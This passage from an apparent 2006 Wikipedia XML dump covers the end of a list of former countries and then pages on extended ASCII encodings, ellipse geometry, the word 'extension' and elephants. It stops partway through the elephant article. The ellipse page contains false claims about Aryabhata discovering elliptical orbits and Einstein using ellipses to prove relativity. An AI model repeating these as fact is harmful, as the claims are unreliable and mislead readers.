*[[Transylvania]] - Semi-independent before becoming part of [[Austria-Hungary]]. Became part of [[Romania]] after [[World War I]].
*[[Tuva]] (also known as Tannu Tuva) - now part of [[Russia]] after the dissolution of the [[Soviet Union|USSR]]
*[[Vermont Republic]] - Republic of Vermont existed from [[1777]] until [[1791]], when [[Vermont]] became the 14th state of the [[United States]].
*[[South Vietnam|Republic of Vietnam]] - conquered by the [[North Vietnam|Democratic Republic of Vietnam]] to become the [[Vietnam|Socialist Republic of Vietnam]]
*[[Wallachia]] - United with [[Moldavia]] to form [[Romania]] in [[1859]].
*[[Yucatán|Republic of Yucatán]] became part of [[Mexico]]
*[[Zanzibar]] - Zanzibar merged in [[1964]] with [[Tanganyika]] to become [[Tanzania]]. Zanzibar was not annexed, but joined through a free [[referendum]].

==See also==
* [[List of countries]]
* [[List of historical national capitals]]
* [[Former countries in Europe after 1815]]

[[Category:Former countries| ]]
[[Category:History by country| ]]
[[Category:Lists of countries|Extinct states]]

[[cs:Seznam bývalých států v Evropě]]
[[es:Lista de países extintos]]
[[fr:Liste des pays disparus]]
[[csb:Lësta historëcznëch krôjów ë òbéńdów]]
[[nl:Lijst van voormalige landen]]
[[ja:消滅した政権一覧]]
[[no:Liste over historiske stater]]
[[os:Историон бæстæтæ]]
[[pt:Criptarquia]]
[[ru:Исчезнувшие государства]]
[[sl:Seznam propadlih držav]]
[[sr:Списак бивших држава]]
[[fi:Historialliset valtiot]]
[[sv:Lista över icke längre existerande riken och länder]]
[[vi:Danh sách các nước không còn nữa]]
[[zh:已不存在国家列表]]</text>
    </revision>
  </page>
  <page>
    <title>Extended ASCII</title>
    <id>9273</id>
    <revision>
      <id>41996201</id>
      <timestamp>2006-03-03T02:51:40Z</timestamp>
      <contributor>
        <username>Lambyuk</username>
        <id>254006</id>
      </contributor>
      <minor />
      <comment>/* Input methods */ rm advert</comment>
      <text xml:space="preserve">The term '''''extended ASCII''''' (or '''''high ASCII''''') describes [[eight-bit]] or larger [[character encoding]]s that include the standard seven-[[bit]] [[ASCII]] characters as well as others.  The use of the term has sometimes been criticized, because it can be mistakenly interpreted that the ASCII standard has been updated to include more than 128 characters or that the term unambiguously identifies a single encoding, both of which are untrue.

==Motives for extending==
Because the number of written symbols used in common [[natural language]]s far exceeds the limited range of the ASCII code, many extensions to it have been used to facilitate handling of those languages.  Markets for computers and communication equipment outside English-speaking countries were historically open long before standards bodies had time to deliberate upon the best way to accommodate them, so there are many incompatible proprietary extensions to ASCII.

Since ASCII is a seven-bit code and most computers manipulate data in eight-bit [[byte]]s, many extensions use the additional 128 codes available by using all eight bits of each byte.  This helps include many languages otherwise not easily representable in ASCII, but still not enough to cover all languages of countries in which computers are sold, so even these eight-bit extensions had to have local variants.  

==Proprietary extensions==
Various proprietary extensions appeared on non-[[EBCDIC]] mainframe and mini-computers, especially in universities. Commodore microcomputers added many graphic symbols to their non-standard ASCII ([[PETSCII]], based on the original ASCII standard of 1963). IBM introduced eight-bit extended ASCII codes on the original [[IBM PC]] and later produced variations for different languages and cultures. IBM called such character sets ''[[code pages]]'' and assigned numbers to both those they themselves invented as well as many invented and used by other manufacturers. Accordingly, character sets are very often indicated by their IBM code page number. In ASCII-compatibile code pages, the lower 128 characters maintained their standard US-ASCII values, and different pages (or sets of characters) could be made available in the upper 128 characters.  [[DOS]] computers built for the North American market, for example, used [[code page 437]], which included accented characters needed for French, German, and a few other European languages, as well as some graphical line-drawing characters. The larger character set made it possible to create documents in a combination of languages such as [[English language|English]] and [[French language|French]], but not, for example, in English and [[Greek language|Greek]] (which required code page 737).

A set with less characters but more letter and diacritic combinations was used by the [[Digital Equipment Corporation|Digital]] [[VT220]] [[Computer terminal|terminal]] based on draft versions of an [[International Organization for Standardization|ISO]] standard that was being developed.

==ISO 8859 and proprietary adaptions==
Eventually, [[International Organization for Standardization|ISO]] released this standard as [[ISO 8859]] describing its own set of eight-bit ASCII extensions.  The most popular was [[ISO 8859-1]], also called ISO Latin1, which contained characters sufficient for the most common Western European languages.
Variations were standardized for other languages as well: ISO 8859-2 for Eastern European languages and ISO 8859-5 for Cyrillic languages, for example.
One notable way in which ISO character sets differ from code pages is that the character positions 128 to 159, corresponding to ASCII [[control character]]s with the high-order bit set, are specifically unused and undefined in the ISO standards, though they had often been used for printable characters in proprietary code pages, a breaking of ISO standards that was almost universal.
Microsoft later created [[code page 1252]], a compatible superset of ISO 8859-1 with extra characters in the ISO unused range.
Code page 1252 is the standard character encoding of western European language versions of [[Microsoft Windows]], including English versions.
ISO 8859-1 is the common character encoding used by the [[X Window System]], and most [[Internet]] standards.
The [[Apple Macintosh]], under [[Mac OS X]], currently uses [[Unicode]] as its default encoding. Under [[Mac OS]], it used [[Mac OS Roman]].

==Input methods==
One problem with eight-bit codes is that [[computer keyboard]]s were originally designed for seven-bit ASCII, and users became accustomed to them.  Different manufacturers have solved this problem in different ways, most by using additional shift-type keys labelled &quot;[[Alt key|Alt]]&quot; or &quot;[[Meta key|Meta]]&quot;, and sometimes by interpreting multi-keystroke sequences.  Also, MS-DOS allowed the user to enter any character by typing its three-digit code point while holding down the Alt key.  While it did allow users to take advantage of the full MS-DOS code page 437 character set, it was difficult to remember and caused problems when users switched to other character sets (including Microsoft's switch to code page 1252 beginning with [[Windows 3.0]]).  To ease the transition, two slightly different numeric entry methods are available in Microsoft Windows: With [[Windows Alt keycodes]], it is possible to type in characters from the [[code page 437]] (or nowadays [[code page 850]]), as well as from [[Windows-1252]]. Various international [[keyboard layout]]s are available through the Control Panel in which the right Alt-key can be used to select alternate characters without this cumbersome typing of numbers.

==Character set confusion==
Because these ASCII extensions have so many variants, it is necessary to identify which set is being used for a particular text for it to be interpreted correctly.  However, because the most-used characters (those in ASCII, the seven-bit code points) are common to all sets--even most proprietary ones like the Macintosh--failure to correctly identify a character set often suffers no adverse consequences if the user is typing in English.  Further, because many Internet standards use ISO 8859-1, and because Microsoft Windows (using the code page 1252 superset of ISO 8859-1) is the dominant operating system for personal computers today, unannounced use of ISO 8859-1 is quite commonplace, and should generally be assumed without evidence to the contrary.

In many protocols, most importantly [[e-mail]] and [[HTTP]] the character encoding of content has to be tagged with [[IANA]]-assigned character set identifiers.

==Unicode==
A proposal called [[Unicode]] was made in [[1991]] to address many of these problems, and is now widely accepted. Unicode reserves 1,114,112 (= 2&lt;sup&gt;20&lt;/sup&gt; + 2&lt;sup&gt;16&lt;/sup&gt;) code points, and currently assigns characters to more than 96,000 of those code points. The first 256 codes precisely match those of [[ISO 8859-1]]. The majority of the 96,000 code points are, at this time, used for [[Chinese language|Chinese]] and [[Korean language|Korean]] characters.

==External links==
* [http://quickkeydotnet.sourceforge.net/ Quick Key Character Grid] inserts any character with one click.
* [http://www.i18nguy.com/unicode/codepages.html Character Sets and Code Pages at the Push of a Button]
* [http://allchars.zwolnet.com AllChars Utility for Windows]
* [http://developer.apple.com/intl/ Apple's page about internationalization support for Mac OS X] 
* [http://www.unicode.org/ Unicode]

[[Category:Character sets]]

[[es:ASCII extendido]]
[[sv:Utökad ASCII]]
[[zh:EASCII]]</text>
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  <page>
    <title>Electronic Music/Jungle</title>
    <id>9275</id>
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        <username>JustJoe</username>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Drum and bass]]</text>
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    <title>Electronic Music/Drum and Bass</title>
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      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
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      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[drum and bass]]</text>
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  <page>
    <title>Ellipse</title>
    <id>9277</id>
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      <id>41182953</id>
      <timestamp>2006-02-25T16:40:14Z</timestamp>
      <contributor>
        <ip>216.160.119.82</ip>
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      <comment>Removed the PIECE babbling from the last edit</comment>
      <text xml:space="preserve">{{otheruses}} ''Elliptical redirects here, for the exercise machine, see [[Elliptical trainer]].''
[[Image:Elipse.png|thumb|right|200px|The ellipse and some of its mathematical properties.]]
In [[mathematics]], an '''ellipse''' (from the [[Greek language|Greek]] for ''absence'') is a plane algebraic [[curve]] where the sum of the [[distance]]s from any point on the curve to two fixed points is constant.  The two fixed points are called '''foci''' (plural of '''[[focus (geometry)|focus]]'''). 

An ellipse is a type of [[conic section]]: if a [[conical surface]] is cut with a plane which does not intersect the cone's base, the intersection of the cone and plane is an ellipse.  For a short elementary proof of this, see [[Dandelin spheres]].

Algebraically, an ellipse is a curve in the [[Cartesian coordinate system|Cartesian plane]] defined by 
an equation of the form
:&lt;math&gt;A x^2 + B xy + C y^2 + D x + E y + F = 0&lt;/math&gt;
such that &lt;math&gt;B^2 &lt; 4 AC&lt;/math&gt;, where all of the coefficients are real, and where more than one solution, defining a pair of points (x, y) on the ellipse, exists.

An ellipse can be drawn with two pins, a loop of string, and a pencil. The pins are placed at the foci and the pins and pencil are enclosed inside the string. The pencil is placed on the paper inside the string, so the string is taut. The string will form a [[triangle]]. If the pencil is moved around so that the string stays taut, the sum of the distances from the pencil to the pins will remain constant, satisfying the definition of an ellipse.

The line segment which passes through the foci and terminates on the ellipse is called the '''major axis'''.  The major axis is along the longest segment that passes through the ellipse. The line which passes through the center (halfway between the foci), at [[right angle]]s to the major axis, is called the '''minor axis'''. A '''[[semimajor axis]]''' is one half the major axis: the [[line segment]]  from the center, through a focus, and to the edge of the ellipse. Likewise, the '''semiminor axis''' is one half the minor axis.

If the two foci coincide, then the ellipse is a [[circle]]; in other words, a circle is a special case of an ellipse, one where the eccentricity is zero.

An ellipse centred at the [[origin]] can be viewed as the image of the [[unit circle]] under a linear map associated with a [[symmetric matrix]] &lt;math&gt;A = PDP^T&lt;/math&gt;, D being a [[diagonal matrix]] with the [[eigenvalues]] of A, both of which are real positive, along the main diagonal, and   P being a real [[unitary matrix]] having as columns the [[eigenvectors]] of A. Then the axes of the ellipse will lie along the eigenvectors of A, and the squares of the lengths of the axes are the inverses of the eigenvalues. 


==Parametrisation==
The size of an ellipse is determined by two constants, conventionally denoted ''a'' and ''b''. The constant ''a'' [[equality (mathematics)|equals]] the [[length]] of the semimajor axis; the constant ''b'' equals the [[length]] of the semiminor axis.

[[Image:Elpsminr.png|center|Ellipse, showing major and minor axes]]

An ellipse centered at the origin of an ''x''-''y'' [[coordinate system]] with its major axis along the ''x''-axis is defined by the equation

:&lt;math&gt;\frac{x^{2}}{a^{2}} + \frac{y^{2}}{b^{2}} = 1 &lt;/math&gt;

The [[Derivation of the cartesian formula for an ellipse|derivation of this formula]] is quite instructive and not overly difficult.

The following diagram shows an ellipse demonstrating the Pythagoras equation ''a''² = ''b''² + ''c''² as a special case of the non-[[parametric equation]] above (''x''=0, ''y''=b).

[[Image:Ellipse_PLS_en.png|center]]

The same ellipse is also represented by the parametric equations:
:&lt;math&gt;x = a\,\cos t&lt;/math&gt;
:&lt;math&gt;y = b\,\sin t&lt;/math&gt;
:&lt;math&gt;0 \leq t &lt; 2\pi&lt;/math&gt;
which use the [[trigonometric function]]s sine and cosine.

If an ellipse is not centered at the origin of an ''x''-''y'' coordinate system, but again has its major axis along the ''x''-axis, it may be specified by the equation

:&lt;math&gt;\frac{(x-h)^{2}}{a^{2}} + \frac{(y-k)^{2}}{b^{2}} = 1 &lt;/math&gt;

where (h,k) is the center.

A [[Gauss map|Gauss-mapped]] form:
:&lt;math&gt;\left(\frac{a^2\cos\phi}{\sqrt{a^2\cos^2\phi+b^2\sin^2\phi}},\frac{b^2\sin\phi}{\sqrt{a^2\cos^2\phi+b^2\sin^2\phi}}\right)&lt;/math&gt;
has normal &lt;math&gt;(\cos\phi,\sin\phi)&lt;/math&gt;.

==Eccentricity==
The shape of an ellipse is usually expressed by a number called the [[eccentricity (mathematics)|eccentricity]] of the ellipse, conventionally denoted ''e'' (not to be confused with the mathematical constant [[e (mathematical constant)|e]]). The eccentricity is related to ''a'' and ''b'' by the statement
:&lt;math&gt;e = \sqrt{1 - \frac{b^2}{a^2}}&lt;/math&gt;
or where &lt;math&gt;c&lt;/math&gt; (the linear eccentricity of the ellipse) equals the distance from the center to either focus
:&lt;math&gt;e = \frac{c}{a}&lt;/math&gt;

The eccentricity is a [[negative and non-negative numbers|positive number]] less than 1, or 0 in the case of a circle.
The greater the eccentricity is, the larger the [[ratio]] of ''a'' to ''b'' is,
and therefore the more elongated the ellipse is. The ellipse shown in the image below has an eccentricity of approximately 0.8733.
The distance between the foci is 2''ae''.

==Semi-latus rectum and polar coordinates==
The ''semi-[[latus rectum]]'' of an ellipse, usually denoted &lt;math&gt;l\,\!&lt;/math&gt; ([[lowercase]] L), is the distance from a focus of the ellipse to the ellipse itself, measured along a line [[perpendicular]] to the major axis. It is related to &lt;math&gt;a\,\!&lt;/math&gt; and &lt;math&gt;b\,\!&lt;/math&gt; (the ellipse's semi-axes) by the formula &lt;math&gt;al=b^2\,\!&lt;/math&gt; or, if using the eccentricity, &lt;math&gt;l=a(1-e^2)\,\!&lt;/math&gt;.

[[Image:Elps-slr.png|center|Ellipse, showing semi-latus rectum]]

In [[coordinates (elementary mathematics)|polar coordinates]], an ellipse with one focus at the origin and the other on the negative ''x''-axis is given by the equation
: &lt;math&gt;r (1 + e \cos \theta) = l \,\!&lt;/math&gt;

An ellipse can also be thought of as a projection of a circle: a circle on a plane at angle &amp;phi; to the horizontal projected vertically onto a horizontal plane gives an ellipse of eccentricity sin&amp;nbsp;&amp;phi;, provided &amp;phi; is not 90°.

==Area==
The [[area (geometry)|area]] enclosed by an ellipse is &lt;math&gt;\pi ab\,\!&lt;/math&gt;, where &lt;math&gt;\pi&lt;/math&gt; is [[Pi|Archimedes' constant]].

==Circumference==
The [[circumference]] of an ellipse is 4''aE''(''e''),
where the function ''E'' is the complete [[elliptic integral]] of the second kind.

The exact [[infinite series]] is:

:&lt;math&gt;c = 2\pi a \left[{1 - \left({1\over 2}\right)^2e^2 - \left({1\cdot 3\over 2\cdot 4}\right)^2{e^4\over 3} - \left({1\cdot 3\cdot 5\over 2\cdot 4\cdot 6}\right)^2{e^6\over5} - \dots}\right]\!\,&lt;/math&gt;

A good [[approximation]] is [[Ramanujan]]'s:

:&lt;math&gt;c \approx \pi \left[3(a+b) - \sqrt{(3a+b)(a+3b)}\right]\!\,&lt;/math&gt;

which can also be written as:

:&lt;math&gt;c \approx \pi a \left[ 3 (1+\sqrt{1-e^2}) - \sqrt{(3+ \sqrt{1-e^2})(1+3 \sqrt{1-e^2})} \right] \!\,&lt;/math&gt;

More generally, the [[arc length]] of a portion of the circumference, as a function of the angle subtended, is given by an incomplete [[elliptic integral]].  The [[inverse function]], the angle subtended as a function of the arc length, is given by the [[elliptic functions]].

== Stretching and Projection ==
An ellipse may be uniformly stretched along any axis, in or out of the plane of the ellipse, and it will still be an ellipse.  The stretched ellipse will have different properties (perhaps changed eccentricity and semi-major axis length, for instance), but it will still be an ellipse (or a degenerate ellipse: a circle or a line).  Similarly, any [[oblique projection]] onto a plane results in a conic section.  If the projection is a closed curve on the plane, then the curve is an ellipse or a degenerate ellipse.

== Reflection property ==
Assume an elliptic [[mirror]] with a light source at one of the foci. Then all rays are [[reflection|reflected]] to a single point &amp;mdash; the second focus. Since no other curve has such a property, it can be used as an alternative definition of an ellipse.

== Ellipses in physics ==
[[India]]n astronomer [[Aryabhata]] discovered that the orbits of the planets around the sun are [[ellipses]] in [[499]], which he described in his book, the ''Aryabhatiya'' [http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Aryabhata_I.html]. 

In the [[17th century]], [[Johannes Kepler]] explained that the [[orbit]]s along which the [[planet]]s travel around the [[Sun]] are ellipses, which is [[Kepler's laws of planetary motion|Kepler's first law]]. Later, [[Isaac Newton]] explained this as a corollary of his [[law of universal gravitation]].

More generally, in the gravitational [[two-body problem]], if the two bodies are bound to each other (i.e., the total energy is negative), their orbits are [[similar]] ellipses with the common [[barycenter]] being one of the foci of each ellipse. Interestingly, the orbit of either body in the reference frame of the other is also an ellipse, with the other body at one focus.

The general solution for a [[harmonic oscillator]] in two or more [[dimension]]s is also an ellipse, but this time with the origin of the force located at the center of the ellipse.

[[Albert Einstein]] also used the ellipse to prove his theory of relativity by using an elliptical shaped mass. Einstein's contributions to modern physics may not have been discovered if it were not for ellipses.

==Ellipses in computer graphics==
Drawing an ellipse is a common graphics primitive in standard display libraries, such as the [[QuickDraw]] and [[GDI]] interfaces on the Macintosh and Windows systems.  Often such libraries are limited and can only draw an ellipse with either the major axis or the minor axis horizontal.

[[Jack Bresenham]] at IBM is most famous for the invention of 2D drawing primitives, including line and circle drawing, using only fast integer operations such as addition and branch on carry bit.  An efficient generalization to draw ellipses was invented in 1984 by [[Jerry Van Aken]] (IEEE CG&amp;A, Sept. 1984).  A more challenging task is to perform these drawing operations with antialiasing, to create a smooth-looking curve.  The curve drawing algorithms of [[Xiaolin Wu]] (SIGGRAPH 91) are an example.

== See also ==
* [[Ellipsoid]], a higher dimensional analog of an ellipse
* [[Spheroid]], the ellipsoids obtained by rotating an ellipse about its major or minor axis.
* [[Super ellipse]], a generalization of an ellipse that can look more rectangular
* [[Hyperbola]]
* [[Parabola]]
* [[Orbit]]
* [[Oval (geometry)]]
* [[true anomaly|True]], [[eccentric anomaly|eccentric]], and [[mean anomaly|mean anomalies]]

[[Category:Conic sections]]

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  </page>
  <page>
    <title>Extension</title>
    <id>9278</id>
    <revision>
      <id>40785190</id>
      <timestamp>2006-02-23T00:21:32Z</timestamp>
      <contributor>
        <username>YolanCh</username>
        <id>370806</id>
      </contributor>
      <minor />
      <comment>+ [[fr:]]</comment>
      <text xml:space="preserve">{{disambig}}
* In [[metaphysics]], '''extension''' is the [[property]] of taking up [[space]]; see [[Extension (metaphysics)]].
* In [[semantics]] (with applications to both [[philosophy]] and [[mathematics]]), '''extension''' is the [[set]] of things to which a [[property]] applies; see [[Extension (semantics)]].
* In [[dentistry]], [[enamel extension]].
* In [[general semantics]], extension is a process that, as in this mathematical example, starts with unique individuals, and gives them unique names, e.g., I, II, III, etc., or 1, 2, 3, etc. The next step if needed generalizes or passes beyond extension to infinite-valued higher-order abstractions like 'numbers', and so on. The passing from lower-order abstractions (presented extensionally) to higher orders, e.g., from '1, 2, 3, etc.,' to 'numbers,' is said to follow the 'natural order of evaluation,' so that when one talks about order, extension is implied, and when one talks about extension, order is implied. An example of reversed order is when a particular higher-order abstraction such as race, e.g., 'white', 'black' etc., is projected onto the individuals comprising it. The individuals (each uniquely different by extension, no matter what is being discussed) comprise the 'race' (which exists only on higher-orders), not the other way around. See [http://esgs.free.fr/de/ext.htm extensional devices.]    
* In [[mathematics]], an '''extension''' of some structure is another structure which contains the original structure. 
** For the extension of a [[group (mathematics)|group]] or [[algebra over a field|algebra]], see [[extension (algebra)]].
** For the extension of a [[first-order_logic|predicate]], see [[extension (predicate logic)]].
** For the extension of a [[field (mathematics)|field]], see [[field extension]].
** For the extension of a [[operator norm|bounded linear operator]], see [[continuous linear extension]].
** In [[model theory]], a model B is an [[extension (model theory)|extension]] of a model A (and A is a [[submodel]] of B) iff the [[universe (model theory)|universe]] of A is a subset of the universe of B and the [[interpretation (model theory)|interpretations]] of the nonlogical symbols of A are the restrictions of the interpretations of the same symbols  of B to the universe of A. 
* In [[anatomy]], '''extension''' is one of the [[Anatomical terms of motion|movements]] of a [[joint]] such as the [[knee]].
* [[Extension (geology)]]
* [[Extension (telephone)]]
* In computing:
** For the programming concept, see [[extension (computing)]].
** For the [[Apple Computer|Apple]] [[Mac OS]] implementation of operating system extensions, see [[Extension (Mac OS)|Extension]].  For problems with same, see [[extension conflict]].
** For the last part of a [[filename]], see [[filename extension]].
** For the addons for the [[Mozilla Firefox|Firefox]] [[Web Browser]], see [[Extension (Mozilla)]]
* In [[community development]], '''extension''' involves the building of community capacity by outsiders. Examples are health or [[agricultural extension]]. See [[extension agency]].
* [[Electricity]] and [[electronics]]: [[Extension cable]].
* [[Hair extensions]] are strands of human hair placed onto a persons hair in order to elongate or thicken existing hair.
* In [[education]], an '''extension course, program, or school''' is [[continuing education]].
* [[Extension, BC]] is a small former coal-mining village near [[Nanaimo]], BC, Canada.
* In [[cheerleading]], an &quot;extension&quot; is a stunt comprising of a flyer being held in the air by the bases' fully extended arms.

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  <page>
    <title>Elephant</title>
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        <username>CaptainVindaloo</username>
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      <comment>rv vandalism</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Elephant
| image = Elephantreaching.jpg
| image_width = 300px
| image_caption = African (Savannah) Elephant reaching for leaves, in Kenya
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| subphylum = [[Vertebrate|Vertabrata]]
| classis = [[Mammal]]ia
| ordo = [[Proboscidea]]
| familia = '''Elephantidae'''
| familia_authority = [[John Edward Gray|Gray]], 1821
| subdivision_ranks = [[Genus|Genera]] and [[Species]]
| subdivision = 
* ''[[Loxodonta]]''
** ''[[Loxodonta cyclotis]]''
** ''[[Loxodonta africana]]''
* ''[[Elephas]]''
** ''[[Elephas maximus]]''
** ''[[Elephas recki]]'' [[extinction|†]]
* ''[[Stegodon]]'' †
* ''[[Mammuthus]]'' †
}}

'''Elephantidae''' (the '''elephants''') is a [[family (biology)|family]] of [[animal]]s, and the only remaining family in the [[order (biology)|order]] [[Proboscidea]]. '''Elephantidae''' has three living [[species]]: the [[Savannah Elephant]] and [[Forest Elephant]] (which were collectively known as the African Elephant) and the [[Asian Elephant]] (formerly known as the Indian Elephant). Other species have become [[extinct species|extinct]] since the last [[ice age]], which ended about 10,000 years ago.

Elephants are the [[Giant animals|largest]] land animals and largest land [[mammal]]s alive today. The elephant's [[gestation]] period is 22 months, the longest of any land animal. At birth it is common for an elephant calf to weigh 120 kg (265 lb).  An elephant may live as long as 70 years. The largest elephant ever recorded was shot in [[Angola]] in 1974. It was male and weighed [[1 E4 kg|12,000 kilograms]] (26,400 lb). The smallest elephants, about the size of a calf or a large pig, were a pre-historic variant that lived on the island of [[Crete]] until 5000 BC, possibly 3000 BC. Their scattered skulls, featuring a single large trunk-hole at the front, formed the basis of belief in existence of [[cyclops]], one-eyed [[giant (mythology)|giants]], which are featured in [[Homer]]'s [[Odyssey]].

Recent findings of [[animal]] remains in central [[China]] show [[Prehistory|Prehistoric]] humans ate elephants. The elephant is now a protected [[animal]], and keeping one as a pet is prohibited around the world.

==Zoology==
[[Image:Comparative_view_of_the_human_and_elephant_frame,_Benjamin_Waterhouse_Hawkins,_1860.jpg|thumb|right|300px|Comparative view of the human and elephant frames, c1860.]]

===African Elephant===
{{main articles|[[Savanna Elephant]] and [[Forest elephant]]}}
The mammals of the genus ''Loxodonta'', often known collectively as African elephants, are found in several regions throughout the continent after which they are named. In recent years, ''Loxodonta'' has received the attention of the world because of its dwindling numbers. Today there are approximately 600,000 African elephants in the world. Some believe this represents a stable population and that measures to protect them are unnecessary. Others argue that while elephants are locally overabundant in certain areas, it is impossible to ignore the fact that the overall population has dropped by a staggering amount. As recently as [[1979]] there were an estimated 1.3 million African elephants. One decade later, only around 600,000 remain. This decline is attributed primarily to [[poaching]], or illegal hunting, and habitat loss.

African elephants are distinguished from Asians in several ways. The most noticeable difference is the [[ear]]s. Africans' ears are much larger and are shaped like the continent of their origin. The African elephant is typically larger than the Asian and has a concave back. Both males and females have external tusks and are usually less hairy than their Asian cousins.

Until the late 20th century, scientists recognized one species of African elephants, ''Loxodonta africana'', and two subspecies, or races, within the species. Recent [[DNA analysis]] has led scientists to reclassify the two races as distinct species.

Today, ''Loxodonta africana'' refers specifically to the Savanna Elephant, the largest of all the elephants. In fact, it is the largest land animal in the world, standing on average 13 feet (4 meters) at the shoulder and weighing approximately 15,400 pounds (7,000 kilograms). Most often, Savanna Elephants are found in open [[grassland]]s, [[marsh]]es, and lakeshores. They range over most of Africa [[Sub-Saharan Africa|south of the Sahara]] Desert.

The other, less numerous species is the Forest Elephant, recently reclassified as ''Loxodonta cyclotis''. Compared with the Savanna Elephant, its ears are usually smaller and rounder, and its tusks are also thinner and straighter. The Forest Elephant can weigh up to 10,000 lb (4,500 kg) and stand about 10 feet (3 m) tall. Much less is known about these animals than their savanna cousins because environmental and political obstacles make them very difficult to study. Normally they inhabit the dense [[African rainforest|forests]] of central and western Africa, though occasionally they do inhabit the edges of forests and overlap [[Territory (animal)|territories]] with bush elephants.

===Asian Elephant===
{{main|Asian elephant}}
Today scientists estimate the world population of Asian elephants, or ''Elephas maximus'', to be approximately 40,000, less than one-tenth the number of African elephants. Perhaps the Asian elephants' decline has been less noticeable because it has been more gradual. The causes of this decline are much the same as that of the African.

[[Image:Re-exposure of elephant - lahugala park1.jpg|left|thumb|200px|Right|Elephant In Sri Lanka]]
As with the ''Loxodonta'', there are distinct subspecies of ''Elephas maximus''. In general, the Asian elephant is smaller than the African. It has smaller ears, shaped like the subcontinent of India, and typically only the males have large external tusks. An Asian elephant can also be distinguished by the large bulges of depigmentation on the skin.

The first subspecies is the [[Sri Lankan elephant|Sri Lankan Asian elephant]] (''Elephas maximus maximus''). Found only on the island of Sri Lanka, a small country off the southeast coast of India, it is the largest of the Asians. There are an estimated total of only 3,000-4,500 members of this subspecies left today in the wild, although no accurate census has been carried out in the recent past. Large males can weigh upward to 12,000 pounds and stand over 11 feet tall. Sri Lankan males have very large cranial bulges, and both sexes have more areas of depigmentation than are found in the other Asians. Typically their ears, face, trunk, and belly have large concentrations of pink-speckled skin. There is an [[Orphanage]] for elephants in [[Pinnawala]] [[Sri Lanka]], which gives shelter to disabled, injured elephants. This program plays a large role to protect the Sri Lankan Elephant from [[extinction]]. 

Another subspecies, the [[Indian elephant|mainland Asian elephant]]  (''Elephas maximus indicus'') makes up the bulk of the Asian elephant population. Numbering approximately 36,000, these elephants are lighter gray in colour, with depigmentation only on the ears and trunk. Large males will ordinarily weigh only about 11,000 pounds but are as tall as the Sri Lankan. The mainland Asian can be found in 12 Asian countries, from India to Indonesia. It prefers forested areas and transitional zones, between forests and grasslands, where greater food variety is available.

The smallest of all the elephants is the [[Sumatran elephant|Sumatran Asian elephant]] (''Elephas maximus sumatranus''). Population estimates for this group range from 33,000 to 53,000 individuals. It is very light gray and has less depigmentation than the other Asians, with pink spots only on the ears. Mature Sumatrans will usually only measure about 10 feet at the shoulder and weigh less than 9,000 pounds. An enormous animal nonetheless, it is considerably smaller than its other Asian (and African) cousins and exists only on the island of Sumatra, usually in forested regions and partially wooded habitats.

===Body characteristics===
====Elephant Calves====

Elephant social life, in many ways, revolves around breeding and raising of the calves. A female will usually be ready to breed around the age of thirteen, at which time she will seek out the most ''fit'' male to mate with. The word ''fitness'', in an ecological sense, means the animal best suited to survive in its environment and pass on its genes. Females want to breed with the bigger, stronger, and, most importantly, older males. In this way, they are assuring that their offspring will have the best possible chance of survival. 
After a twenty-two-month pregnancy, the mother will give birth to a calf that will weigh about 250 lbs. and stand over 2½ feet tall. Elephants have a very long childhood. They are born with fewer survival instincts than many other animals. Instead, they must rely on their elders to teach them the things they need to know. The ability to pass on information and knowledge to their young has always been a major asset in the elephant's struggle to survive. Today, however, the pressures humans have put on the wild elephant populations, from poaching to habitat destruction, mean that the elderly often die at a younger age, leaving fewer teachers for the young.
All members of the tightly knit female group participate in the care and protection of the young. Since everyone in the herd is related, there is never a shortage of baby-sitters. In fact, a new calf is usually the center of attention for all herd members. All the adults and most of the other young will gather around the newborn, touching and caressing it with their trunks. The baby is born nearly blind and at first relies, almost completely, on its trunk to discover the world around it.

====Allomothers====
After the initial excitement dies down, the mother will usually select several full-time baby-sitters, or &quot;allomothers&quot;, from her group. According to Cynthia Moss, a well-known researcher, these allomothers will help in all aspects of raising the calf. They walk with the young as the herd travels, helping the calves along if they fall or get stuck in the mud. The more allomothers a baby has, the more free time its mother has to feed herself. Providing a calf with nutritious milk means the mother has to eat more nutritious food herself. So, the more allomothers, the better the calf's chances of survival.

====Trunk====
[[Image:Lightmatter elephanttrunk.jpg|thumb|200px|An elephant can use its trunk for a variety of purposes. This one is wiping its eye.]]

The proboscis, or trunk, is perhaps the elephant's most distinctive feature. It is a fusion of the nose and upper lip, elongated and specialized to become the elephant's most important and versatile appendage. The trunk is basically used to manipulate objects. To facilitate this, African elephants are equipped with two fingerlike projections at the tip of their trunk, while Asians have only one. According to biologists, the elephant's trunk is said to have over forty thousand individual muscles in it, making it sensitive enough to pick up a single blade of grass, yet strong enough to rip the branches off a tree.
Most herbivores (plant eaters, like the elephant) are adapted with teeth for cutting and tearing off plant materials. However, except for the very young or infirm, elephants always use their trunks to tear up their food and then place it in their mouth. They will graze on grass or reach up into trees to grasp leaves, fruit, or entire branches. If the desired food item is too high up, the elephant will wrap its trunk around the tree or branch and shake its food loose or sometimes simply knock the tree down altogether.
The trunk is also used for drinking. Elephants suck water up into the trunk (up to fifteen quarts [14.2 liters] at a time) and then blow it into their mouth. Elephants also inhale water to spray on their body during bathing. On top of this watery coating, the animal will then spray dirt and mud, which act as a protective sunscreen.
This appendage also plays a key role in many social interactions. Familiar elephants will greet each other by entwining their trunks, much like a handshake. They also use them while play-wrestling, caressing during courtship, and for dominance displays - a raised trunk can be a warning or threat, while a lowered trunk can be a sign of submission. Elephants can defend themselves very well by flailing their trunk at unwanted intruders or by grasping and flinging them.
An elephant also relies on its trunk for its highly developed sense of smell. Raising the trunk up in the air and swiveling it from side to side, like a periscope, it can determine the location of friends, enemies, and food sources.

====Tusks====
